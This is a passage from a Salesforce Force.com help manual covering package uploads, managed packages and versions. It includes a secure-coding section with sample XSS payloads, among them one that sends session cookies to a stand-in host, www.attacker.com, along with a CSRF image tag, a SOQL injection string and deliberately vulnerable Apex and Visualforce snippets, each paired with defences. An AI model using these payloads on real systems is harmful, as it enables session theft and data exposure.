Package Requirements and Object Requirements sections to notify installers of any requirements for this package.
7. Click Continue.

You will receive an email that includes an installation link when your package has been uploaded successfully. Wait a few
moments before clicking the installation link or distributing it to others, as it may take a few minutes for it to become active.
Note: If you uploaded from your Salesforce.com production organization, notify installers who want to install it in a
sandbox organization to replace the “www.salesforce.com” portion of the installation link with “test.salesforce.com”.
Likewise, if you uploaded from a sandbox organization, notify installers who want to install it in their Salesforce.com
production organization to replace the “test.salesforce.com” portion of the installation link with “www.salesforce.com”.
If you published an package from your sandbox, you will only be able to manage it until you create a new copy. Once
you create a new copy of your sandbox, you will no longer be able to manage packages that you uploaded from it.

See Also:
Preparing Your Apps for Distribution

926
Create Overview of Packages

Managing Uploads

Available in: Group, Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To upload packages: “Upload AppExchange Packages”

After you upload a package to Force.com AppExchange, you can still manage it from Salesforce.com. To manage your uploads:

1. Click Setup ➤ Create ➤ Packages.


2. Select the package that contains the app or components you uploaded.
3. Select the version number listed in the Version Upload History related list.

• Click Change Password to change the password option.


Tip: If you have forgotten the password for an upload, contact salesforce.com and provide the ID listed on the
Edit Security page.

• Click Deprecate to prevent new installations of this package while allowing existing installations to continue operating.
Note: You cannot deprecate the most recent version of an uploaded managed package.

When you deprecate a package, remember to remove it from AppExchange as well. See “Removing Apps from
AppExchange” in the Force.com AppExchange online help.
• Click Undeprecate to make a deprecated upload available for installation again.

Note: To create a test drive or choose a License Management Organization (LMO) for what you have uploaded,
click Proceed to AppExchange from the package upload detail page.

See Also:
Preparing Your Apps for Distribution
Understanding Dependencies
Packageable Components
Publishing Upgrades to Managed Packages
Publishing Extensions to Managed Packages
Security Tips for Apex and Visualforce Development

927
Create Overview of Packages

Security Tips for Apex and Visualforce Development

Available in: Group, Professional, Enterprise, Unlimited, and Developer Editions

Understanding Security
The powerful combination of Apex and Visualforce pages allow Force.com developers to provide custom functionality and
business logic to Salesforce.com or create a completely new stand-alone product running inside the Force.com platform.
However, as with any programming language, developers must be cognizant of potential security-related pitfalls.
Salesforce.com has incorporated several security defenses into the Force.com platform itself. However, careless developers can
still bypass the built-in defenses in many cases and expose their applications and customers to security risks. Many of the
coding mistakes a developer can make on the Force.com platform are similar to general Web application security vulnerabilities,
while others are unique to Apex.
To certify an application for Force.com AppExchange, it is important that developers learn and understand the security flaws
described here.

See Also:
Managing Uploads

Cross-Site Scripting (XSS)


Cross-site scripting (XSS) attacks cover a broad range of attacks where malicious HTML or client-side scripting is provided
to a Web application. The Web application includes malicious scripting in a response to a user of the Web application. The
user then unknowingly becomes the victim of the attack. The attacker has used the Web application as an intermediary in the
attack, taking advantage of the victim's trust for the Web application. Most applications that display dynamic Web pages
without properly validating the data are likely to be vulnerable. Attacks against the website are especially easy if input from
one user is intended to be displayed to another user. Some obvious possibilities include bulletin board or user comment-style
websites, news, or email archives.
For example, assume the following script is included in a Force.com page using a script component, an on* event, or even an
s-control.

<script>var foo = '{!$CurrentPage.parameters.userparam}';script>var foo =


'{!$CurrentPage.parameters.userparam}';</script>

This script block inserts the value of the user-supplied userparam onto the page. The attacker can then enter the following
value for userparam:

1';document.location='http://www.attacker.com/cgi-bin/cookie.cgi?'%2Bdocument.cookie;var%20foo='2

In this case, all of the cookies for the current page are sent to www.attacker.com as the query string in the request to the
cookie.cgi script. At this point, the attacker has the victim's session cookie and can connect to the Web application as if
they were the victim.
The attacker can post a malicious script using a Web site or email. Web application users not only see the attacker's input,
but their browser can execute the attacker's script in a trusted context. With this ability, the attacker can perform a wide variety
of attacks against the victim. These range from simple actions such as opening and closing windows, to more malicious attacks
such as stealing data or session cookies, allowing an attacker full access to the victim's session.
For more information on this attack in general, see the following articles:

928
Create Overview of Packages

• http://www.owasp.org/index.php/Cross_Site_Scripting
• http://www.cgisecurity.com/articles/xss-faq.shtml
• http://www.owasp.org/index.php/Testing_for_Cross_site_scripting
• http://www.google.com/search?q=cross-site+scripting
Within the Force.com platform there are several anti-XSS defenses in place. For example, salesforce.com has implemented
filters that screen out harmful characters in most output methods. For the developer using standard classes and output methods,
the threats of XSS flaws have been largely mitigated. However, the creative developer can still find ways to intentionally or
accidentally bypass the default controls. The following sections show where protection does and does not exist.

Existing Protection
All standard Visualforce components, which start with <apex>, have anti-XSS filters in place. For example, the following
code is normally vulnerable to an XSS attack because it takes user-supplied input and outputs it directly back to the user, but
the <apex:outputText> tag is XSS-safe. All characters that appear to be HTML tags are converted to their literal form.
For example, the < character is converted to &lt; so that a literal < displays on the user's screen.

<apex:outputText>
{!$CurrentPage.parameters.userInput}
</apex:outputText>

Disabling Escape on Visualforce Tags


By default, nearly all Visualforce tags escape the XSS-vulnerable characters. It is possible to disable this behavior by setting
the optional attribute escape="false". For example, the following output is vulnerable to XSS attacks:

<apex:outputText escape="false" value="{!$CurrentPage.parameters.userInput}" />

Programming Items Not Protected from XSS


The following items do not have built-in XSS protections and you should take extra care when using these tags and objects.
This is because these items were intended to allow the developer to customize the page by inserting script commands. It does
not makes sense to include anti-XSS filters on commands that are intentionally added to a page.
S-Controls and Custom JavaScript
If you write your own JavaScript or s-controls, the Force.com platform has no way to protect you. For example, the
following code is vulnerable to XSS if used in JavaScript.

<script>
var foo = location.search;
document.write(foo);
</script>

<apex:includeScript>
The <apex:includeScript> Visualforce component allows you to include a custom script on the page. In these
cases, be very careful to validate that the content is safe and does not include user-supplied data. For example, the
following snippet is extremely vulnerable as it includes user-supplied input as the value of the script text. The value
provided by the tag is a URL to the JavaScript to include. If an attacker can supply arbitrary data to this parameter (as
in the example below), they can potentially direct the victim to include any JavaScript file from any other website.

<apex:includeScript value="{!$CurrentPage.parameters.userInput}" />

929
Create Overview of Packages

S-Control Template and Formula Tags


S-Controls give the developer direct access to the HTML page on which they appear and include an array of variables that
can be used to insert data into the pages. As described above, s-controls do not use any built-in XSS protections. When using
the template and formula tags, all output is unfiltered and must be validated by the developer.
Caution: S-controls will be desupported in a future release. Salesforce.com strongly suggests you create custom user
interface elements using Visualforce instead of s-controls. For more information, see How Do Visualforce Pages
Compare to S-Controls?

The general syntax of these tags is:{!FUNCTION()} or {!$OBJECT.ATTRIBUTE}. For example, if a developer wanted to
include a user's session ID in a link, they could create the link using the following syntax:

<a
href="http://partner.domain.com/integration/?sid={!$Api.Session_ID}&server={!$Api.Partner_Server_URL_130}">
Go to portal</a>

Which renders output similar to the following:

<a
href="http://partner.domain.com/integration/?sid=4f0900D30000000Jsbi%21AQoAQNYaPnVyd_6hNdIxXhzQTMaa
SlYiOfRzpM18huTGN3jC0O1FIkbuQRwPc9OQJeMRm4h2UYXRnmZ5wZufIrvd9DtC_ilA&server=https://na1.salesforce.com
/services/Soap/u/13.0/4f0900D30000000Jsbi">Go to portal</a>

Formula expressions can be function calls or include information about platform objects, a user's environment, system
environment, and the request environment. An important feature of these expressions is that data is not escaped during
rendering. Since expressions are rendered on the server, it is not possible to escape rendered data on the client using JavaScript
or other client-side technology. This can lead to potentially dangerous situations if the formula expression references non-system
data (that is potentially hostile or editable data) and the expression itself is not wrapped in a function to escape the output
during rendering. A common vulnerability is created by the use of the {!$Request.*} expression to access request parameters.

<html>
<head>
<title>{!$Request.title}</title>
</head>
<body>Hello world!</body>
</html>

Unfortunately, the unescaped {!$Request.title} tag also results in a cross-site scripting vulnerability. For example, the
request:

http://example.com/demo/hello.html?title=Adios%3C%2Ftitle%3E%3Cscript%3Ealert('xss')%3C%2Fscript%3E

results in the output:

<html><head><title>Adios</title><script>alert('xss')</script></title></head><body>Hello
world!</body></html>

The standard mechanism to do server-side escaping is through the use of the SUBSTITUTE() formula tag. Given the placement
of the {!$Request.*} expression in the example, the above attack could be prevented by using the following nested
SUBSTITUTE() calls.

<html>
<head>
<title>{! SUBSTITUTE(SUBSTITUTE($Request.title,"<","<"),">",">")}</title>
</head>

930
Create Overview of Packages

<body>Hello world!</body>
</html>

Depending on the placement of the tag and usage of the data, both the characters needing escaping as well as their escaped
counterparts may vary. For instance, this statement:

<script>var ret = "{!$Request.retURL}";script>var ret = "{!$Request.retURL}";</script>

requires that the double quote character be escaped with its URL encoded equivalent of %22 instead of the HTML escaped
", since it is probably going to be used in a link. Otherwise, the request:

http://example.com/demo/redirect.html?retURL= foo%22%3Balert('xss')%3B%2F%2F

results in:

<script>var ret = "foo";alert('xss');//";</script>

Additionally, the ret variable may need additional client-side escaping later in the page if it is used in a way which may cause
included HTML control characters to be interpreted.
Formula tags can also be used to include platform object data. Although the data is taken directly from the user's organization,
it must still be escaped before use to prevent users from executing code in the context of other users (potentially those with
higher privilege levels). While these types of attacks must be performed by users within the same organization, they undermine
the organization's user roles and reduce the integrity of auditing records. Additionally, many organizations contain data which
has been imported from external sources and may not have been screened for malicious content.

Cross-Site Request Forgery (CSRF)


Cross-Site Request Forgery (CSRF) flaws are less of a programming mistake as they are a lack of a defense. The easiest way
to describe CSRF is to provide a very simple example. An attacker has a Web page at www.attacker.com. This could be
any Web page, including one that provides valuable services or information that drives traffic to that site. Somewhere on the
attacker's page is an HTML tag that looks like this:

<img
src="http://www.yourwebpage.com/yourapplication/createuser?email=attacker@attacker.com&type=admin....."
height=1 width=1 />

In other words, the attacker's page contains a URL that performs an action on your website. If the user is still logged into your
Web page when they visit the attacker's Web page, the URL is retrieved and the actions performed. This attack succeeds
because the user is still authenticated to your Web page. This is a very simple example and the attacker can get more creative
by using scripts to generate the callback request or even use CSRF attacks against your AJAX methods.
For more information and traditional defenses, see the following articles:
• http://www.owasp.org/index.php/Cross-Site_Request_Forgery
• http://www.cgisecurity.com/articles/csrf-faq.shtml
• http://shiflett.org/articles/cross-site-request-forgeries
Within the Force.com platform, salesforce.com has implemented an anti-CSRF token to prevent this attack. Every page
includes a random string of characters as a hidden form field. Upon the next page load, the application checks the validity of
this string of characters and does not execute the command unless the value matches the expected value. This feature protects
you when using all of the standard controllers and methods.

931
Create Overview of Packages

Here again, the developer might bypass the built-in defenses without realizing the risk. For example, suppose you have a
custom controller where you take the object ID as an input parameter, then use that input parameter in an SOQL call. Consider
the following code snippet.

<apex:page controller="myClass" action="{!init}"</apex:page>

public class myClass {


public void init() {
Id id = ApexPages.currentPage().getParameters().get('id');
Account obj = [select id, Name FROM Account WHERE id = :id];
delete obj;
return ;
}
}

In this case, the developer has unknowingly bypassed the anti-CSRF controls by developing their own action method. The
id parameter is read and used in the code. The anti-CSRF token is never read or validated. An attacker Web page may have
sent the user to this page using a CSRF attack and could have provided any value they wish for the id parameter.
There are no built-in defenses for situations like this and developers should be cautious about writing pages that take action
based upon a user-supplied parameter like the id variable in the preceding example. A possible work-around could be to insert
an intermediate confirmation page before taking the action, to make sure the user intended to call the page. Other suggestions
include shortening the idle session timeout for the organization and educating users to log out of their active session and not
use their browser to visit other sites while authenticated.

SOQL Injection
In other programming languages, this flaw is known as SQL injection. Apex does not use SQL, but uses its own database
query language, SOQL. SOQL is much simpler and more limited in functionality than SQL. Therefore, the risks are much
lower for SOQL injection than for SQL injection, but the attacks are nearly identical to traditional SQL injection. In summary
SQL/SOQL injection involves taking user-supplied input and using those values in a dynamic SOQL query. If the input is
not validated, it may include SOQL commands that effectively modify the SOQL statement and trick the application into
performing unintended commands.
For more information on SQL Injection attacks see:
• http://www.owasp.org/index.php/SQL_injection
• http://www.owasp.org/index.php/Blind_SQL_Injection
• http://www.owasp.org/index.php/Guide_to_SQL_Injection
• http://www.google.com/search?q=sql+injection

SOQL Injection Vulnerability in Apex


Below is a simple example of Apex and Visualforce code vulnerable to SOQL injection.

<apex:page controller="SOQLController" >


<apex:form>
<apex:outputText value="Enter Name" />
<apex:inputText value="{!name}" />
<apex:commandButton value="Query" action="{!query}“ />
</apex:form>
</apex:page>

public class SOQLController {


public String name {
get { return name;}
set { name = value;}
}
public PageReference query() {
String qryString = 'SELECT Id FROM Contact WHERE

932
Create Overview of Packages

(IsDeleted = false and Name like \'%' + name + '%\')';


queryResult = Database.query(qryString);
return null;
}
}

This is a very simple example but illustrates the logic. The code is intended to search for contacts that have not been deleted.
The user provides one input value called name. The value can be anything provided by the user and it is never validated. The
SOQL query is built dynamically and then executed with the Database.query method. If the user provided a normal value,
the statement executes as expected:

name = Bob
sqyString = SELECT Id FROM Contact WHERE (IsDeleted = false and Name like '%Bob%')

However, what if the user provided unexpected input, such as:

name = test%') or (Name like '

In that case, the query string becomes:

SELECT Id FROM Contact WHERE (IsDeleted = false and Name like '%test%') or (Name like '%')

Now the results show all contacts, not just the non-deleted ones. A SOQL Injection flaw can be used to modify the intended
logic of any vulnerable query.

SOQL Injection Defenses


To prevent a SOQL injection attack, avoid using dynamic SOQL queries. Instead, use static queries and binding variables.
The vulnerable example above could be re-written using static SOQL as follows:

public class SOQLController {


public String name {
get { return name;}
set { name = value;}
}
public PageReference query() {
String queryName = '%' + name + '%';
queryResult = [SELECT Id FROM Contact WHERE
(IsDeleted = false and Name like :queryName)];
return null;
}
}

If you must use dynamic SOQL, use the escapeSingleQuotes method to sanitize user-supplied input. This method adds
the escape character (\) to all single quotation marks in a string that is passed in from a user. The method ensures that all
single quotation marks are treated as enclosing strings, instead of database commands.

Data Access Control


The Force.com platform makes extensive use of data sharing rules. Each object can have unique permissions for which users
and profiles can read, create, edit, and delete. These restrictions are enforced when using all standard controllers.
When using an Apex class, the built-in profile permissions and field-level security restrictions are not respected during execution.
The default behavior is that an Apex class has the ability to read and update all data with the organization. Because these rules
are not enforced, developers who use Apex must take care that they do not inadvertently expose sensitive data that would

933
Create Overview of Packages

normally be hidden from users by profile-based permissions, field-level security, or organization-wide defaults. This is particularly
true for Visualforce pages. For example, consider the following Apex pseudo-code:

public class customController {


public void read() {
Contact contact = [Select id from Contact where Name = :value];
}
}

In this case, all contact records are searched, even if the user currently logged in would not normally have permission to view
these records. The solution is to use the qualifying keywords with sharing when declaring the class:

public with sharing class customController {


. . .
}

The with sharing keyword directs the platform to use the security sharing permissions of the user currently logged in,
rather than granting full access to all records.

Managing Packages
Available in: Group, Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To upload packages: “Upload AppExchange packages”

Packages are a collection of Force.com components and applications that are made available to other organizations through
the AppExchange. A managed package is a collection of application components that are posted as a unit on AppExchange,
and are associated with a namespace and a License Management Organization. A package must be managed for it to support
upgrades. An organization can create a single managed package that can be downloaded and installed by many different
organizations. They differ from unmanaged packages in that some components are locked, allowing the managed package to
be upgraded later. Unmanaged packages do not include locked components and cannot be upgraded. In addition, managed
packages obfuscate certain components (like Apex) on subscribing organizations, so as to protect the intellectual property of
the developer.
For details, see About Managed Packages on page 935 and Converting Unmanaged Packages to Managed on page 955.
To manage your packages, click Setup ➤ Create ➤ Packages.
Under Developer Settings, you can configure your developer settings. For more information, see Configuring Your Developer
Settings on page 952.
From the list of packages, you can do any of the following:

• Click New to create a new package, enter a package name and description, and click Save to store it in your list of packages.
For more information on creating a package, see Creating or Editing a Package on page 937.
• Click Edit to update the package properties.
• Click Del to delete the package. The components contained in your package are not deleted.
• Click the name of the package to view the details of the package.

934
Create Overview of Packages

Note: To create a test drive or choose a License Management Organization (LMO) for what you have uploaded,
click Proceed to AppExchange from the package upload detail page.

See Also:
Overview of Packages
Viewing Package Details

About Managed Packages

Available in: Developer Edition


Package uploads and installs are available in Group, Professional, Enterprise, Unlimited, and Developer Editions

A managed package is a collection of application components that are posted as a unit on AppExchange, and are associated
with a namespace and a License Management Organization. A package must be managed for it to support upgrades. An
organization can create a single managed package that can be downloaded and installed by many different organizations. They
differ from unmanaged packages in that some components are locked, allowing the managed package to be upgraded later.
Unmanaged packages do not include locked components and cannot be upgraded. In addition, managed packages obfuscate
certain components (like Apex) on subscribing organizations, so as to protect the intellectual property of the developer.
Managed packages differ from unmanaged packages in many other ways. Before creating managed packages, here are a few
things to consider:

• You must use a Developer Edition organization to create and work with a managed package.
• A Developer Edition organization can contain a single managed package and many unmanaged packages.
• Before converting an unmanaged package to managed, enable your organization to create managed packages. Follow the
instructions in Enabling Managed Packages for Your Organization on page 951.
• All packages are unmanaged unless otherwise indicated by one of the following managed icons:

- Managed - Beta
- Managed - Released
- Managed - Installed

• You can offer beta versions of a managed package to a small sampling of your users if you are still developing the components
within the package but want to allow beta testers to install it and provide feedback. For more information on how beta
versions of managed packages behave, see Beta Versions of Managed Packages on page 944.
• Installers of managed packages are not able to downgrade to earlier versions.
• When you release a managed package, meaning it is uploaded with the Managed - Released option selected, the
properties of its components change to prevent developers and installers from making harmful changes. For a list of each
package component type and their properties, see Packageable Components on page 945. If you do not want to offer
upgrades to your package, consider keeping it unmanaged.
• Some components in a released managed package are always editable. For a list of these attributes, see Packageable
Components on page 945.

935
Create Overview of Packages

Tip: To prevent naming conflicts, Salesforce.com recommends using managed packages for all packages that contain
Apex. This way, all of the Apex objects contain your namespace prefix. For example, if there is an Apex class called
MyHelloWorld and the namespace for your organization is OneTruCode, the class is referenced as
OneTruCode:MyHelloWorld.

The Managed - Released or Managed - Installed icon on any detail or edit page indicates that the component
is included in a managed package and may not be editable. Click Display More Information to view which attributes
you can edit. For a list of packageable components and their editable attributes, see Packageable Components on page
945.

See Also:
Managing Packages
Enabling Managed Packages for Your Organization
Converting Unmanaged Packages to Managed
Determining Your Development Process
Planning the Release of Managed Packages
Beta Versions of Managed Packages
Packageable Components
What is a Package Version?

What is a Package Version?

Available in: Developer Edition


Package uploads and installs are available in Group, Professional, Enterprise, Unlimited, and Developer Editions

A package version is a set of components uploaded in a package. It is denoted by a version number that has the format
majorNumber.minorNumber.patchNumber such as 2.1.3. Note that the patchNumber is generated only when you create
a patch. If there is no patchNumber, it is assumed to be zero (0). Patch versions are currently available through a pilot program.
For information on enabling patch versions for your organization, contact salesforce.com. Unmanaged packages are not
upgradeable so each package version is simply a set of components for distribution. A package version has more significance
for managed packages. Packages can exhibit different behavior for different versions. Publishers can use package versions to
evolve the components in their managed packages gracefully by releasing subsequent package versions without breaking existing
customer integrations using the package.
When an existing subscriber installs a new package version, there is still only one instance of each component in the package,
but the components can emulate older versions. For example, a subscriber may be using a managed package that contains an
Apex class. If the publisher decides to deprecate a method in the Apex class and release a new package version, the subscriber
still sees only one instance of the Apex class after installing the new version. However, this Apex class can still emulate the
previous version for any code that references the deprecated method in the older version.
Apex has special syntax so that package developers can use conditional logic in classes and triggers to exhibit different behavior
for different versions. This allows the package developer to continue to support existing behavior in classes and triggers in
previous package versions while continuing to evolve the code.

936
Create Overview of Packages

When you are developing client applications using the API, you can specify the version of each package that you use in your
integrations.

See Also:
About Managed Packages
Managing Packages
Developer's Guide: Force.com Apex Code Developer's Guide
Developer's Guide: Force.com Web Services API Developer's Guide

Creating or Editing a Package

Available in: Group, Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To create packages: “Create AppExchange Packages”

An app can contain many different components and you can create, upload, and register your apps on your own timeline. To
group components in a container to upload to Force.com AppExchange, create a package and add components to the package.
A package is the container for the app that you must use to upload all its components together.
Tip: Before you begin, determine if you want to create and upload a managed or unmanaged package.

To create a new package:

1. Click Setup ➤ Create ➤ Packages.


2. Click New.
3. Enter a name for your package. This does not have to be the same name that appears on AppExchange.
4. Optionally, choose a custom link from the Configure Custom Link field to display configuration information to
installers of your app. You can select a predefined custom link to a URL or s-control that you have created for your home
page layouts; see the Configure Option on page 917. The custom link displays as a Configure link within Salesforce.com
on the Force.com AppExchange Downloads page and app detail page of the installer's organization.
5. Optionally in the Apex Exception Notification Recipient field, enter the username of the person who should
receive an email notification if an exception occurs in an Apex script that is not caught by the script. If you do not specify
a username, all uncaught exceptions generate an email notification that is sent to salesforce.com. This is only available for
managed packages. For more information, see Handling Apex Exceptions in Managed Packages on page 1001.
Note: Apex can only be packaged from Developer, Enterprise, and Unlimited Edition organizations.

6. Optionally, enter a description that describes the package. You will have a chance to change this description before you
upload it to AppExchange.
7. Click Save.

After you create a package you can do any of the following:

937
Create Overview of Packages

• view the package details


• add components to the package
• upload the package

See Also:
Viewing Package Details
Preparing Your Apps for Distribution

Viewing Package Details

Available in: Group, Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To create packages: “Create AppExchange Packages”

Click Setup ➤ Create ➤ Packages and click the name of a package to view its details, including any added components,
whether it is a managed package, if the package has been uploaded, and so on.
The detail page has the following sections:

• Package details
• Package components
• Remote access
• Version history

From the detail page, you can do any of the following:

• Click Edit to change the package name, custom link that displays when users click Configure, or description.
• Click Delete to delete the package. This does not delete the components contained in the package but the components
will no longer be bundled together within this package.
• Click Upload to upload the package. You will receive an email when the upload is complete. For more information, see
Managing Uploads on page 927. For more information on the entire process, see Preparing Your Apps for Distribution
on page 919.
• Optionally, click Show dependencies and review a list of components that rely on other components, permissions, or
preferences within the package. An entity may include such things as an s-control, a standard or custom field, or an
organization-wide setting like multicurrency. Your package cannot be installed unless the installer has the listed components
enabled or installed. See Understanding Dependencies on page 923 for more information on dependencies. Click Done to
return to the Package detail page.
• Optionally, you can enable, disable, or change the access that components in the package have to standard objects in the
installing organization by using the links next to API Access. For more information about API access, see Managing
API and Dynamic Apex Access in Packages on page 787.
Note: S-controls can be added to a package only if API Access is set to Unrestricted.

938
Create Overview of Packages

• Click Add to add components to the package.


Note: Some related components are automatically included in the package even though they may not display in
the Package Components list. For example, when you add a custom object to a package, its custom fields, page
layouts, and relationships with standard objects are automatically included. For a complete list of components
Salesforce.com automatically includes, see Packageable Components.

• Click Add to create remote access applications that are included in the package.
• Click the version number of any listed uploads to manage that upload. For more information, see Managing Uploads on
page 927.

Note: To create a test drive or choose a License Management Organization (LMO) for what you have uploaded,
click Proceed to AppExchange from the package upload detail page.

Viewing Package Details


For package developers, the package detail section displays the following package attributes (in alphabetical order):

Attribute Description
Apex Exception Notification Recipient The username of the person who should receive an email
notification if an exception occurs in an Apex script that is
not caught by the script. If you do not specify a username, all
uncaught exceptions generate an email notification that is sent
to salesforce.com. This is only available for managed packages.
For more information, see Handling Apex Exceptions in
Managed Packages on page 1001.
Note: Apex can only be packaged from Developer,
Enterprise, and Unlimited Edition organizations.

API Access The type of access that the API and dynamic Apex scripts
that package components have. The default setting is
Unrestricted, which means that all package components that
access the API have the same access as the user who is logged
in. Click Enable Restrictions or Disable Restrictions to
change the API and dynamic Apex access permissions for a
package.
For more information about API access and the access dynamic
Apex scripts have for managed package components, see
Managing API and Dynamic Apex Access in Packages on
page 787.

Created By The name of the developer that created this package, including
the date and time.
Description A detailed description of the package.
Extension Indicates whether the package is an extension.
Managed Indicates whether this is a managed or unmanaged package.

939
Create Overview of Packages

Attribute Description
Modified By The name of the last user to modify this package, including
the date and time.
Package Name The name of the package, given by the publisher.

Viewing Package Components


For package developers, the Package Components section lists every package component contained in the package, including
the name and type of each component.

If a component is deprecated, the developer of the package sees a icon next to the component. Subscribers of the package
see a icon.
Note: Component deprecation is currently available through a pilot program. You may request to be added to the
pilot program by contacting Salesforce.com support.

The following component information is displayed (in alphabetical order):

Attribute Description
Action Lists the actions you can perform on the component. The only
choice is Remove, which removes the component from an
unreleased package.
Available in Versions Displays the version number of the package in which a
component exists.
Included By This column lists how a component was included in a package.
If the component was automatically included because it is
referenced by another component, this column lists the name
of the referencing component. If the component was added
by a developer, this column lists User Selected. If the
component was added in a prior version of this package, this
column lists Previously Released.
Name Displays the name of the component.
Owned By If the component was added from a different installed package,
this column lists the name of that package.
Parent Object Displays the name of the parent object a component is
associated with. For example, a custom object is the parent of
a custom field.
Type Displays the type of the component.

Remote Access
For package developers, the Remote Access section lists all the remote access applications created as part of this package.
Click Add to create a new remote access application to be included as part of this package.
The following remote access information is displayed (in alphabetical order):

940
Create Overview of Packages

Attribute Description
Name The name of the remote access application.
Version The version of the package that the remote access application
is associated with.

Viewing Version History


For package developers, the Version Upload History table lists all the previous uploads of a package. For managed packages,
all Managed - Beta uploads use the same version number and are indented in the list under the same version number. For
example, two subsequent Managed - Beta uploads for package version 2.0 are listed as 2.0 (Beta 1) and 2.0 (Beta 2) and are
indented under version number 2.0.
The Version Upload History section displays the following package attributes (in alphabetical order):

Attribute Description
Action Lists the actions you can perform on the package. The possible
actions are:
• Deprecate: Deprecates a package version.
Caution: Users will no longer be able to download
or install this package. However, existing
installations will continue to work.

• Undeprecate: Enables a package version to be installed by


users once again

Status The status of the package. The possible statuses are:


• Released: The package is Managed - Released
• Beta: The package is Managed - Beta
• Deprecated: The package version is deprecated

Version Name The version name for this package version. The version name
is the marketing name for a specific release of a package. It is
more descriptive than the Version Number.
Version Number The version number for the latest installed package version.
The format is majorNumber.minorNumber.patchNumber,
such as 2.1.3. The version number represents a release of a
package. The Version Name is a more descriptive name for
the release. Note that the patchNumber is generated only
when you create a patch. If there is no patchNumber, it is
assumed to be zero (0).

See Also:
Creating or Editing a Package
Preparing Your Apps for Distribution
Managing Packages

941
Create Overview of Packages

Adding Components to your Package

Available in: Group, Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To create packages: “Create AppExchange Packages”

After you have created a package, you need to add components to it, such as app, object, Apex classes or Visualforce pages.
These packages can be uploaded to share with others privately or posted on Force.com AppExchange to share publicly.
To add components to a package, click Setup ➤ Create ➤ Packages and select the name of the package you want to add
components to. From the package detail page:

1. Click Add.
2. From the drop-down list, choose the type of component you want to add to your package.

• At the top of the list, click a letter to display the contents of the sorted column that begin with that character.
• If available, click the Next Page (or Previous Page) link to go to the next or previous set of components.
• If available, click fewer or more at the bottom of the list to view a shorter or longer display list.

3. Select the components you want to add.

Note: Some components cannot be added to Managed - Released packages. For a list of these components,
see Packageable Components on page 945.
S-controls cannot be added to packages with restricted API access.

4. Click Add To Package.

See Also:
Managing Packages
Viewing Package Details
Preparing Your Apps for Distribution

Determining Your Development Process

Unmanaged packages are available in: Group, Professional, Enterprise, Unlimited, and Developer Editions
Managed packages are available in: Developer Edition

All packages are unmanaged until you convert them to managed packages. This requires managed packages created in a
Developer Edition organization. You may prefer developing managed packages because you can beta test them before a release
and offer upgrades for them.
Before creating a package, determine the development process you aim to take so that you can choose the most appropriate
type of package for your process:

942
Create Overview of Packages

Developing Unmanaged Packages


• Design your app
• Package and upload your app

Developing Managed Packages


• Design your app
• Package and upload a beta version of your app
• Gather feedback from your beta testers and make the appropriate fixes to your app
• Package and upload your final version of the appPreparing Your Apps for Distribution

See Also:
About Managed Packages
Planning the Release of Managed Packages
Beta Versions of Managed Packages
Packageable Components

Planning the Release of Managed Packages


Releasing a Force.com AppExchange package is similar to releasing any other program in software development. You may
want to roll it out in iterations to ensure each component functions as planned. You may even have beta testers who have
offered to install an early version of your package and provide feedback.
Once you release a package by publishing it on AppExchange, anyone can install it. So, plan your release carefully. Review
the states defined below to familiarize yourself with the release process. Salesforce.com automatically applies the appropriate
state to your package and components depending on the upload settings you choose and where it is in the release process.

State Description
Unmanaged The package has not been converted into a managed package
or the component has not been added to a managed package.
Note that a component that is “Managed - Beta” can become
“Unmanaged” if it is removed from a managed package. All
packages are unmanaged unless otherwise indicated by one of
the managed icons below.

Managed - Beta The package or component was created in the current


Salesforce.com organization and is managed, but it is not
released because of one of these reasons:
• It has not been uploaded.
• It has been uploaded with Managed - Beta option
selected. This option prevents it from being published,
publicly available on AppExchange. The developer can
still edit any component but the installer may not be able
to depending on the Packageable Components.

Managed - Released The package or component was created in the current


Salesforce.com organization and is managed. It is also

943
Create Overview of Packages

State Description
uploaded with the Managed - Released option selected,
indicating that it can be published on AppExchange and is
publicly available. Note that once you have moved a package
to this state, some properties of the components are no longer
editable for both the developer and installer. For a list of these
properties in Managed - Released packages, see Packageable
Components on page 945.

Managed - Installed The package or component was installed from another


Salesforce.com organization but is managed.

A developer may decide to refine the functionality in a managed package over time as the requirements evolve. This may
involve redesigning some of the components in the managed package.Developers cannot delete some components in a Managed
- Released package, but they can deprecate a component in a later package version so that new subscribers do not receive the
component, while the component continues to function for existing subscribers and API integrations.

See Also:
About Managed Packages
Determining Your Development Process
Beta Versions of Managed Packages
Packageable Components

Beta Versions of Managed Packages

Available in: Developer Edition


Package uploads and installs are available in Group, Professional, Enterprise, Unlimited, and Developer Editions

A beta package is an early version of a managed package that is uploaded to Force.com AppExchange in a Managed - Beta
state. The purpose of a Managed - Beta package is to allow the developer to test their application in different Salesforce.com
organizations and to share the app with a pilot set of users for evaluation and feedback.
Before installing a beta version of a managed package, review the following notes:

• Beta versions of managed packages are indicated in the developer's organization by the following icon: Managed - Beta
• Beta versions of managed packages are indicated by the same icon as managed released packages in the installer's organization:
Managed - Installed
• Users can install beta packages in sandbox or Developer Edition organizations only
Note: If you are building a Force.com AppExchange app designed for Group and Professional Edition organizations,
be sure to test it using those Editions. Contact your partner success manager about gaining access to the proper
test environment.

• The Packageable Components apply to installers of beta versions of a managed package. However, these restrictions do
not apply to developers. Because developers beta test packages to get feedback, uncover critical feature gaps, and fix bugs,

944
Create Overview of Packages

the components of a beta managed package are still editable in the developer's organization until the developer uploads
the package with the Managed - Released option selected instead of the Managed - Beta.
• When a developer uploads a managed package selecting the Managed - Released option, that package is no longer
beta and can be registered and published on Force.com AppExchange.
• Beta versions of managed packages are not upgradeable. Because developers can still edit the components of a beta package,
the post-beta version may not be compatible with the copy a user has installed. We recommend attempting to upgrade
from a beta version of a managed package first. If that fails, uninstall the beta package and install the managed released
version.

See Also:
About Managed Packages
Determining Your Development Process
Planning the Release of Managed Packages
Packageable Components

Packageable Components
The Salesforce.com components in a managed package behave differently than those in an unmanaged package at different
points in the release process. For example, a subscriber cannot change certain attributes of managed components in any package
that is installed, regardless of whether it is beta. Likewise, the developer cannot change certain attributes of managed components
previously uploaded in a Managed - Released state. However, Managed - Beta components have the same properties as
unmanaged components in the developer's organization. Developers should determine when the right time is to make a beta
package Managed - Released because doing so restricts the properties of each component within it. To understand each state
of a managed package, see Planning the Release of Managed Packages on page 943.
